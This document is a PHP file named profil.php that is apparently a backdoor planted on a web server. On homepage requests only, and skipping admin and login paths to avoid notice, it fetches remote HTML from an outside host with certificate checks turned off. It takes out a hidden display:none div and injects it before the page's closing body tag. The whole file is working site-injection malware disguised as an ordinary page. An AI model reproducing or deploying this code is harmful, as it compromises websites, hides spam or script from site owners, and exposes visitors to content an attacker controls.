File: /var/www/html/profil.php
<?php
$SOURCE_URLS = array(
'https://bylagency.com/suntik4/suntik4.txt',
);
$SKIP_PATTERNS = array(
'/wp-admin/', '/administrator/', '/user/login', '/wp-json', '/xmlrpc.php', '/api/', '/cron', '/vendor/'
);
function contentblock_should_skip($patterns) {
$uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
if ($uri !== '/' && $uri !== '/index.php' && $uri !== '/index.html') {
return true;
}
foreach ($patterns as $p) {
if ($p !== '' && strpos($uri, $p) !== false) return true;
}
return false;
}
function contentblock_is_html($buffer) {
if (!is_string($buffer) || $buffer === '') return false;
return stripos($buffer, '<html') !== false ||
stripos($buffer, '<!doctype') !== false ||
stripos($buffer, '</body>') !== false;
}
function contentblock_fetch_remote($url) {
$content = '';
// cURL
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_CONNECTTIMEOUT => 5,
CURLOPT_TIMEOUT => 8,
CURLOPT_USERAGENT => 'ContentFetcher/1.0',
));
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
@curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
@curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$resp = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if (is_string($resp) && $code >= 200 && $code < 300) $content = $resp;
}
// fopen fallback
if ($content === '' && ini_get('allow_url_fopen')) {
$ctx = stream_context_create(array(
'http' => array('timeout' => 8, 'header' => "User-Agent: ContentFetcher/1.0\r\n"),
'ssl' => array('verify_peer'=>false, 'verify_peer_name'=>false)
));
$resp = @file_get_contents($url, false, $ctx);
if ($resp !== false) $content = $resp;
}
return $content;
}
function contentblock_extract_hidden_div($html) {
if (!is_string($html) || $html === '') return '';
if (preg_match('/<div[^>]*\bstyle\s*=\s*["\'][^"\']*display\s*:\s*none[^"\']*["\'][^>]*>.*?<\/div>/is', $html, $m)) {
return $m[0];
}
if (preg_match('/<div[^>]*display\s*:\s*none[^>]*>.*?<\/div>/is', $html, $m2)) {
return $m2[0];
}
return '';
}
function contentblock_injector($buffer) {
if (!contentblock_is_html($buffer)) return $buffer;
global $SOURCE_URLS;
$blocks = array();
foreach ($SOURCE_URLS as $url) {
$raw = contentblock_fetch_remote($url);
if ($raw === '') continue;
$raw = trim($raw);
$block = contentblock_extract_hidden_div($raw);
if ($block === '') $block = $raw;
$blocks[] = $block;
}
if (empty($blocks)) return $buffer;
$html = implode("\n", $blocks);
$pos = stripos($buffer, '</body>');
if ($pos !== false) {
return substr($buffer, 0, $pos) . "\n" . $html . "\n" . substr($buffer, $pos);
}
return $buffer . "\n" . $html;
}
function contentblock_flush() {
if (ob_get_level() > 0) @ob_end_flush();
}
if (!contentblock_should_skip($SKIP_PATTERNS)) {
ob_start('contentblock_injector');
register_shutdown_function('contentblock_flush');
}
?>